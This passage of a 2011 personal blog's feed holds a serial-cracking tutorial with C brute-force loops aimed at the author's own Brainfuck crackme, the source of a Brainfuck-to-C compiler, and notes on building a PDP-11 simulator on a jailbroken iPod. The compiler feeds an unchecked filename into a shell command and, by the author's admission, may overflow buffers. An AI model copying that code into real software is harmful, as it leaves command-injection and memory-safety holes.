/&gt;[&gt;+++&gt;++++++&gt;+&lt;br /&gt;+++&gt;+++&gt;+++++++&gt;+++++++++++&gt;+++++++++++&gt;++++++++++&gt;&lt;br /&gt;+++++++++++&gt;++++++++++&gt;++++++++++++&gt;++++++++++++&gt;++&lt;br /&gt;+++++++++&gt;++++++++++&gt;++++++++++++&gt;+++++++++++&gt;+++++&lt;br /&gt;++++++&gt;+++++++++++&gt;++++++++++++&gt;+++++&gt;+++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-]&gt;++&gt;--&gt;+&gt;++&gt;---&gt;+&gt;&gt;+++&gt;++++&gt;---&gt;----&lt;br /&gt;&gt;---&gt;--&gt;---&gt;----&gt;-----&gt;+&gt;&gt;-----&gt;----&gt;++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&lt;br /&gt;&lt;br /&gt;This was the original code.. lets run it in the online&lt;br /&gt;interpreter &amp; see the output.you do get an output but&lt;br /&gt;its gibberish. Now add this to the begining &amp; see what&lt;br /&gt;happens. &gt;++++++++++ (move to the next mem location &amp;&lt;br /&gt;put a value of 10 there.The first part of the crackme's &lt;br /&gt;code itself when it tries to print "Serial : ")&lt;br /&gt;&lt;br /&gt;When you try to run that..you get this string :-&lt;br /&gt;&lt;br /&gt;" :) Congratulations. " So thats perfect! The algo&lt;br /&gt;is pretty simple &amp; a valid serial should be :&lt;br /&gt;&lt;br /&gt;1. 6 chars long&lt;br /&gt;2. The last character's ascii code should be 10 units more&lt;br /&gt;   than the second-last character. &lt;br /&gt;&lt;br /&gt;For Ex.&lt;br /&gt;aaaaak&lt;br /&gt;bbbbbl&lt;br /&gt;cccccm&lt;br /&gt;abcdeo&lt;br /&gt;ABCDEO&lt;br /&gt;&lt;br /&gt;Thats all. :)&lt;br /&gt;&lt;br /&gt;(c) Aodrulez.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-691937911742227081?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/691937911742227081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=691937911742227081' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/691937911742227081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/691937911742227081'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2011/09/detailed-analysis-of-my-brainfuck.html' title='Detailed Analysis of My Brainfuck Crackme'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-3096678665366600974</id><published>2011-09-01T01:12:00.000-07:00</published><updated>2011-10-23T04:56:49.483-07:00</updated><title type='text'>Zen &amp; The Art of Cracking. (Part 1)</title><content type='html'>Hola Amigos!&lt;br /&gt;This is a tutorial explaining some old school&lt;br /&gt;+orc inspired reversing/cracking techniques.&lt;br /&gt;Today, our target application is a crackme that&lt;br /&gt;i wrote a few days ago in an esoteric language&lt;br /&gt;named 'Brainfuck'.The code of the crackme can&lt;br /&gt;be found here : &lt;br /&gt;&lt;br /&gt;&lt;a href="http://aodrulez.110mb.com/crackme.txt"&gt;http://aodrulez.110mb.com/crackme.txt&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;But before we begin our reversing tutorial, let&lt;br /&gt;me show you how to compile this code &amp; make&lt;br /&gt;our crackme application.In my previous post, i've&lt;br /&gt;provided the source code of my 'Brainfuck Pseudo&lt;br /&gt;Compiler'.You can compile this crackme using this&lt;br /&gt;compiler.First of all, compile the 'Brainfuck &lt;br /&gt;Pseudo Compiler' as follows :&lt;br /&gt;&lt;br /&gt;aodrulez@pwn4g3:~/muse$ gcc bfc.c -o bfc&lt;br /&gt;&lt;br /&gt;Here am assuming you've copied the code of my&lt;br /&gt;compiler into a file named 'bfc.c'.Once this is &lt;br /&gt;done, you should have an executable named 'bfc'&lt;br /&gt;which is our brainfuck compiler.Now lets compile&lt;br /&gt;the crackme.Copy the contents of the above link&lt;br /&gt;to a file named 'crackme.txt'.Then issue this&lt;br /&gt;command :&lt;br /&gt;&lt;br /&gt;aodrulez@pwn4g3:~/muse$ ./bfc crackme.txt crackme&lt;br /&gt;&lt;br /&gt;That should compile our 'crackme' for you.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Cracking the Code&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Before we do any reversing &amp; fire any of our tools,&lt;br /&gt;lets study the crackme first.Lets try running it&lt;br /&gt;&amp; see what happens.&lt;br /&gt;&lt;br /&gt;aodrulez@pwn4g3:~/muse$ ./crackme&lt;br /&gt;Serial : aaaaaa&lt;br /&gt; �  �   ������� �� aodrulez@pwn4g3:~/muse$ &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now that doesnt look like a valid serial :D .But one&lt;br /&gt;important thing i observed was that it takes exactly&lt;br /&gt;'6' bytes/characters for the serial. Not a byte less,&lt;br /&gt;not a byte more.How did i know that? Try entering&lt;br /&gt;one character &amp; then hit enter &amp; see what happens..&lt;br /&gt;&amp; keep on doin this until you get an output. :)&lt;br /&gt;(remember that even 'enter' or Line-Feed is a char!)&lt;br /&gt;&lt;br /&gt;Now, lets think about it... is there a way to find&lt;br /&gt;out the valid serial without even looking at the&lt;br /&gt;algorithm?? ofcourse there is... the magic word for&lt;br /&gt;you is...'bruteforce'.There are times when the algo&lt;br /&gt;involved is so complicated that its very tough to&lt;br /&gt;reverse it &amp; find a valid serial.In such cases..when&lt;br /&gt;you have no other choice left.. you can always try&lt;br /&gt;bruteforce.&lt;br /&gt;&lt;br /&gt;The truth though is that its an ugly way of doing&lt;br /&gt;things.Why? Lemme explain. Lets say we have a serial&lt;br /&gt;the length of which is 1 character.How many possible&lt;br /&gt;values can it have? &lt;br /&gt;&lt;br /&gt;If its only alphabets      : 26&lt;br /&gt;AlphaNumeric               : 36&lt;br /&gt;CaseSensitive Alphanumeric : 26+26+10=62&lt;br /&gt;&lt;br /&gt;What do these numbers mean? if the password is just&lt;br /&gt;alphabets... case insensitive... the maximum number of&lt;br /&gt;possible right answers is 26.So, i hope its understood &lt;br /&gt;that if i try all of these 26 possible values, am sure &lt;br /&gt;to get the right password.But, if the password is 2 &lt;br /&gt;characters in size, the max possible combination becomes&lt;br /&gt;26*26...or 26^2==676!. Pure Permutation.Now thats pure &lt;br /&gt;bruteforce attempt. Alrighty... now how to implement a &lt;br /&gt;custom bruteforce tool for our particular crackme?&lt;br /&gt;&lt;br /&gt;As we know already.. the crackme needs an input..&lt;br /&gt;So lets try this command in a linux terminal:&lt;br /&gt;&lt;br /&gt;aodrulez@pwn4g3:~/muse$ echo "aaaaaa" | ./crackme&lt;br /&gt;&lt;br /&gt;what this'll do is... it'll first echo "aaaaaa" to the&lt;br /&gt;screen but the redirection symbol "|" tells it to&lt;br /&gt;pipe the output to the command specified...in this&lt;br /&gt;case.. to "crackme" executable.This trick..combined&lt;br /&gt;with some programming skills can be turned into a sort&lt;br /&gt;of bruteforce attack.&lt;br /&gt;&lt;br /&gt;So here am providing a very ugly bruteforce-algorithm&lt;br /&gt;that i just wrote...its ugly..not optimized....but sure&lt;br /&gt;as hell works.Here we go :-&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Bruteforce COde version 1.0&lt;/span&gt;&lt;br /&gt;&lt;script type="syntaxhighlighter" class="brush:cpp"&gt;&lt;![CDATA[&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;char b[7];b[6]='\0';&lt;br /&gt;char brute[50];&lt;br /&gt;int p,q,r,s,t,u;&lt;br /&gt;p=q=r=s=t=u=97;&lt;br /&gt;&lt;br /&gt;for(p=97;p&lt;=122;p++)&lt;br /&gt;{&lt;br /&gt; for(q=97;q&lt;=122;q++)&lt;br /&gt; {&lt;br /&gt;  for(r=97;r&lt;=122;r++)&lt;br /&gt;  {&lt;br /&gt;   for(s=97;s&lt;=122;s++)&lt;br /&gt;   {&lt;br /&gt;    for(t=97;t&lt;=122;t++)&lt;br /&gt;    {&lt;br /&gt;     for(u=97;u&lt;=122;u++)&lt;br /&gt;     {&lt;br /&gt;     b[0]=p;b[1]=q;b[2]=r;b[3]=s;b[4]=t;b[5]=u;&lt;br /&gt;     strcpy(brute,"echo '");&lt;br /&gt;     strcat(brute,b);&lt;br /&gt;     strcat(brute,"' | ./crackme \n") ; &lt;br /&gt;     printf("%s\n",&amp;brute);&lt;br /&gt;     system(brute);&lt;br /&gt;     printf("\n----------------\n");&lt;br /&gt;     &lt;br /&gt;     }    &lt;br /&gt;    }&lt;br /&gt;   }  &lt;br /&gt;  } &lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;]]&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;Try compiling this code &amp; put the executable in the&lt;br /&gt;same directory as 'crackme'.Then execute it &amp; observe&lt;br /&gt;the crude output you get. What this code does is..&lt;br /&gt;it'll craft a 6-character long string with all possible&lt;br /&gt;combinations.Now if you lookup an ASCII table, the&lt;br /&gt;ascii codes from 97-122 is the range for 'a'-'z'.&lt;br /&gt;So, this script is a lower-case-6-character-pattern&lt;br /&gt;generator..whose output is piped to our crackme as&lt;br /&gt;input.Simple &amp; sweet. Try running the above code &amp; observe&lt;br /&gt;the output.. somewhere down the line...you'll see &lt;br /&gt;":) Congratulations" &amp; the corresponding string is&lt;br /&gt;a valid serial. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is a lil better version of the same bruteforce&lt;br /&gt;script as far as output is concerned.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Bruteforce C0de version 1.1&lt;/span&gt;&lt;br /&gt;&lt;script type="syntaxhighlighter" class="brush:cpp"&gt;&lt;![CDATA[&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;char b[7];b[6]='\0';&lt;br /&gt;char brute[50];&lt;br /&gt;int p,q,r,s,t,u;&lt;br /&gt;p=q=r=s=t=u=97;&lt;br /&gt;&lt;br /&gt;for(p=97;p&lt;=122;p++)&lt;br /&gt;{&lt;br /&gt; for(q=97;q&lt;=122;q++)&lt;br /&gt; {&lt;br /&gt;  for(r=97;r&lt;=122;r++)&lt;br /&gt;  {&lt;br /&gt;   for(s=97;s&lt;=122;s++)&lt;br /&gt;   {&lt;br /&gt;    for(t=97;t&lt;=122;t++)&lt;br /&gt;    {&lt;br /&gt;     for(u=97;u&lt;=122;u++)&lt;br /&gt;     {&lt;br /&gt;     b[0]=p;b[1]=q;b[2]=r;b[3]=s;b[4]=t;b[5]=u;&lt;br /&gt;     strcpy(brute,"echo '");&lt;br /&gt;     strcat(brute,b);&lt;br /&gt;     strcat(brute,"' | ./crackme | grep ':)'\n") ; &lt;br /&gt;     printf("String : %s\n",&amp;b);&lt;br /&gt;     system(brute);&lt;br /&gt;     printf("\n----------------\n");&lt;br /&gt;     &lt;br /&gt;     }    &lt;br /&gt;    }&lt;br /&gt;   }  &lt;br /&gt;  } &lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;]]&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;That'll generate you some valid serials. Now remember &lt;br /&gt;that i still hav'nt looked at the code of the crackme&lt;br /&gt;&amp; have no idea how the actual algorithm works.I just&lt;br /&gt;got lucky because a valid serial can be formed by just&lt;br /&gt;entering 6 lowercase alphabets.. if this would'nt have&lt;br /&gt;worked...i would have tried uppercase..alphanumeric..&lt;br /&gt;special characters etc as combination.No matter what..&lt;br /&gt;am sure to get atleast one valid serial because thats&lt;br /&gt;the fundamental idea behind bruteforce.&lt;br /&gt;&lt;br /&gt;Hope you learnt something new out of this really long&lt;br /&gt;n boring tutorial.Happy hacking!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just in case the above Crackme code's link is not &lt;br /&gt;working, here it is :&lt;br /&gt;&lt;br /&gt;#         Aodrulez's Brainfuck Crackme V1&lt;br /&gt;# -------------------------------------------------&lt;br /&gt;#                 (Its very Easy)&lt;br /&gt;&gt;++++++++++[&gt;++++++++&gt;++++++++++&gt;+++++++++++&gt;++++++&lt;br /&gt;+++++&gt;++++++++++&gt;+++++++++++&gt;+++&gt;++++++&gt;+++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;-]&gt;+++&gt;+&gt;++++&gt;-----&gt;---&gt;--&gt;++&gt;--&gt;++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;.&lt;br /&gt;&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;,&gt;,&gt;,&gt;,&gt;,&gt;,&lt;[&gt;-&lt;-]#&gt;[&gt;+++&gt;++++++&gt;+&lt;br /&gt;+++&gt;+++&gt;+++++++&gt;+++++++++++&gt;+++++++++++&gt;++++++++++&gt;&lt;br /&gt;+++++++++++&gt;++++++++++&gt;++++++++++++&gt;++++++++++++&gt;++&lt;br /&gt;+++++++++&gt;++++++++++&gt;++++++++++++&gt;+++++++++++&gt;+++++&lt;br /&gt;++++++&gt;+++++++++++&gt;++++++++++++&gt;+++++&gt;+++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-]&gt;++&gt;--&gt;+&gt;++&gt;---&gt;+&gt;&gt;+++&gt;++++&gt;---&gt;----&lt;br /&gt;&gt;---&gt;--&gt;---&gt;----&gt;-----&gt;+&gt;&gt;-----&gt;----&gt;++&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;br /&gt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-3096678665366600974?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/3096678665366600974/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=3096678665366600974' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/3096678665366600974'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/3096678665366600974'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2011/09/zen-art-of-cracking-part-1.html' title='Zen &amp; The Art of Cracking. (Part 1)'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-3548467856342347143</id><published>2011-08-28T12:53:00.000-07:00</published><updated>2011-10-23T06:05:55.100-07:00</updated><title type='text'>Brainfuck Pseudo Compiler</title><content type='html'>Hola!&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Being down with fever has its own fun. Was bored wid my mundane stuff&lt;/div&gt;&lt;div&gt;&amp;amp; there was no way i could go out.Thats when i heard about 'Brainfuck'.&lt;/div&gt;&lt;div&gt;Found it interesting &amp;amp; hence ended up writing a Pseudo compiler for it.&lt;/div&gt;&lt;div&gt;Am calling it a pseudo compiler because this will only parse pure&lt;/div&gt;&lt;div&gt;Brainfuck code to equivalent fully working 'c' code &amp;amp; then it uses gcc to&lt;/div&gt;&lt;div&gt;compile it into an executable.It does no syntax checking as of now &amp;amp; expects &lt;/div&gt;&lt;div&gt;the Brainfuck code to be perfect. Tried &amp;amp; tested..the code is fully functional.&lt;/div&gt;&lt;div&gt;It might be vulnerable to buffer overflow attacks here n there..but right&lt;/div&gt;&lt;div&gt;now am too lazy to fix it. :)&lt;br&gt;&lt;br&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;script class="brush: cpp" type="syntaxhighlighter"&gt;&lt;br /&gt;/*&lt;br /&gt;Brainfuck Pseudo Compiler v1.0&lt;br /&gt;------------------------------&lt;br /&gt;Author : Aodrulez.&lt;br /&gt;Blog   : http://aodrulez.blogspot.com&lt;br /&gt;&lt;br /&gt;Compilation :&lt;br /&gt;gcc bfc.c -o bfc&lt;br /&gt;&lt;br /&gt;Usage :&lt;br /&gt;./bfc source [target]&lt;br /&gt;&lt;br /&gt;Example.&lt;br /&gt;./bfc game.bf game&lt;br /&gt;&lt;br /&gt;Note: 'source' file should contain valid Brainfuck code.&lt;br /&gt;      Extensions of the files dont matter.If no 'target' &lt;br /&gt;      name is specified, the output will be 'a.out'&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;void parse(char *ifname,char *ofname)&lt;br /&gt;{&lt;br /&gt;char ch;&lt;br /&gt;char make[1024];&lt;br /&gt;strcpy(make,"gcc /tmp/a0d.c -o ./");&lt;br /&gt;FILE *source,*target;&lt;br /&gt;source=fopen(ifname,"r");&lt;br /&gt;         if(source == NULL)&lt;br /&gt;         {&lt;br /&gt;               printf("Cannot open source file\n");&lt;br /&gt;               exit(0);&lt;br /&gt;         }&lt;br /&gt; target = fopen ("/tmp/a0d.c", "w" ) ;&lt;br /&gt;        if ( target == NULL )&lt;br /&gt;        {&lt;br /&gt;               puts("Cannot create target file\n") ;&lt;br /&gt;               fclose(source);&lt;br /&gt;               exit(0);&lt;br /&gt;        }&lt;br /&gt; fprintf(target, "#include &lt;stdio.h&gt;\n");&lt;br /&gt; fprintf(target, "int main(void){\n");&lt;br /&gt; fprintf(target, "unsigned int x=0;\n");&lt;br /&gt; fprintf(target, "char ram[999999];\n");&lt;br /&gt; fprintf(target, "while(x&lt;999999){ram[x]=0;x++;}\n");&lt;br /&gt; fprintf(target, "x=0;\n");&lt;br /&gt; &lt;br /&gt; while ( 1 )&lt;br /&gt;        {&lt;br /&gt;               ch = fgetc(source) ;&lt;br /&gt;  if (ch==EOF)&lt;br /&gt;  break;&lt;br /&gt;               switch (ch)&lt;br /&gt;     {&lt;br /&gt; &lt;br /&gt;        case '&gt;': &lt;br /&gt;          fprintf(target, "++x;\n");&lt;br /&gt;          break;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        case '&lt;': &lt;br /&gt;          fprintf(target, "--x;\n");&lt;br /&gt;          break;&lt;br /&gt;&lt;br /&gt;        case '+': &lt;br /&gt;          fprintf(target, "++ram[x];\n");&lt;br /&gt;          break;&lt;br /&gt;&lt;br /&gt;        case '-': &lt;br /&gt;          fprintf(target, "--ram[x];\n");&lt;br /&gt;          break;&lt;br /&gt;&lt;br /&gt;        case '.': &lt;br /&gt;          fprintf(target, "putchar(ram[x]);\n");&lt;br /&gt;          break;&lt;br /&gt;&lt;br /&gt;        case ',': &lt;br /&gt;          fprintf(target, "ram[x]=getchar();\n");&lt;br /&gt;          break;&lt;br /&gt;&lt;br /&gt;        case '[': &lt;br /&gt;          fprintf(target, "while(ram[x]){\n");&lt;br /&gt;          break;&lt;br /&gt;&lt;br /&gt;        case ']': &lt;br /&gt;          fprintf(target, "}\n");&lt;br /&gt;          break;&lt;br /&gt;&lt;br /&gt;        default:&lt;br /&gt;          break;&lt;br /&gt;      }&lt;br /&gt;        }&lt;br /&gt; fprintf(target, "}\n");&lt;br /&gt; fclose (source);&lt;br /&gt;        fclose (target);&lt;br /&gt; if (ofname==NULL)&lt;br /&gt; {&lt;br /&gt; system("gcc /tmp/a0d.c ");&lt;br /&gt; }&lt;br /&gt; else{&lt;br /&gt; strcat(make,ofname);&lt;br /&gt; system(make); &lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main ( int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt; if (argc&lt;2) &lt;br /&gt; {&lt;br /&gt;        printf( "\nBrainfuck Pseudo Compiler\n-------------------------\n");&lt;br /&gt;        printf("Author : Aodrulez\nBlog   : http://aodrulez.blogspot.com\n");&lt;br /&gt; printf("\nUsage: %s source [target]\nEx. %s test.bf test.out\n\n", argv[0],argv[0] );&lt;br /&gt;     }&lt;br /&gt;     else &lt;br /&gt;     {&lt;br /&gt; parse(argv[1],argv[2]);&lt;br /&gt;        }&lt;br /&gt;return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-3548467856342347143?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/3548467856342347143/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=3548467856342347143' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/3548467856342347143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/3548467856342347143'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2011/08/brainfuck-pseudo-compiler.html' title='Brainfuck Pseudo Compiler'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-5396451689561040369</id><published>2011-07-02T03:03:00.000-07:00</published><updated>2011-07-02T03:21:01.604-07:00</updated><title type='text'>Installing PDP11 SIMH Simulator on IOS device</title><content type='html'>&lt;div&gt;Hi there!&lt;/div&gt;&lt;div&gt;Its been a long time since I've made a blog post &amp;amp;&lt;/div&gt;&lt;div&gt;well its about time i guess ;)&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;Installing PDP11 SIMH Simulator on IOS device&lt;/span&gt;&lt;/div&gt;&lt;div&gt;----------------------------------------------------------------------&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This should work on iPhone,iPod as well as iPad.&lt;/div&gt;&lt;div&gt;I've got it working on iPod Touch 4G running&lt;/div&gt;&lt;div&gt;IOS 4.3.3 (Latest as of now).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Btw, there are 2 ways of doing this. If you own &lt;/div&gt;&lt;div&gt;a Mac &amp;amp; have the IOS SDK you can do it right on&lt;/div&gt;&lt;div&gt;your computer. Since am a Linux guy &amp;amp; find it&lt;/div&gt;&lt;div&gt;completely weird to own a Mac just to program&lt;/div&gt;&lt;div&gt;for a teeny-weeny iDevice, i installed the entire&lt;/div&gt;&lt;div&gt;toolchain on my iPod Touch itself. Bwahaha!&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;Install Toolchain on your Jailbroken iDevice &lt;/span&gt;&lt;/div&gt;&lt;div&gt;---------------------------------------------------------------&lt;/div&gt;&lt;div&gt;(Credits : 'MichaelHaseth' from iFans.com . &lt;/div&gt;&lt;div&gt;  Tnx a ton Michael!)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Install 'fake-libgcc' from Cydia. &lt;/li&gt;&lt;li&gt;Install 'GNU C Compiler' from Cydia.&lt;/li&gt;&lt;li&gt;Copy the attached libraries to '/usr/lib/' of your iDevice.&lt;/li&gt;&lt;li&gt;Install 'iPhone 2.0 Toolchain' from Cydia.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Thats all!&lt;/div&gt;&lt;div&gt;Just ssh to your iDevice &amp;amp; type 'gcc' &amp;amp; you are&lt;/div&gt;&lt;div&gt;good to go. You can use the Mobile-Terminal too.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Note: I've gotten normal c programs to compile&lt;/div&gt;&lt;div&gt;      &amp;amp; run just fine. use &lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;#gcc source.c -o app&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;#./app&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"&gt;Installing SIMH PDP11 Simulator&lt;/span&gt;&lt;/div&gt;&lt;div&gt;-----------------------------------------------&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt; Unpack &amp;amp; copy the attached header files to '/usr/lib' of your iDevice.&lt;/li&gt;&lt;li&gt; Unpack the attached simh.zip on your computer &amp;amp; transfer it to a folder on your iDevice. For ex. /tmp&lt;/li&gt;&lt;li&gt; 'cd' to that folder &amp;amp; type 'make' at the prompt.&lt;/li&gt;&lt;li&gt; It'll take a few seconds to build &amp;amp; once its done, inside the 'BIN' folder, you'll find the pdp11 executable.&lt;/li&gt;&lt;li&gt; Just copy the required unix OS images to the folder &amp;amp; you've got a working pdp11 unix computer on your iDevice.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Note :&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;I've modified the SIMH makefile &amp;amp; tweaked a few things here &amp;amp; there.&lt;/li&gt;&lt;li&gt;Am not uploading the unix images cuz of the copyright biaches.&lt;/li&gt;&lt;li&gt;Just lookup on any SIMH tutorial &amp;amp; you are good to go.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Attachments :&lt;/div&gt;&lt;div&gt;-------------------&lt;/div&gt;&lt;div&gt;1.  &lt;a href="http://aodrulez.110mb.com/gcc_headers.zip"&gt;gcc_headers.zip&lt;/a&gt; &lt;/div&gt;&lt;div&gt;2.  &lt;a href="http://aodrulez.110mb.com/headers.zip"&gt;headers&lt;/a&gt;&lt;/div&gt;&lt;div&gt;3. &lt;a href="http://aodrulez.110mb.com/simh.zip"&gt;SIMH-Modified&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;(c) Aodrulez.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-5396451689561040369?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/5396451689561040369/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=5396451689561040369' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/5396451689561040369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/5396451689561040369'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2011/07/installing-pdp11-simh-simulator-on-ios.html' title='Installing PDP11 SIMH Simulator on IOS 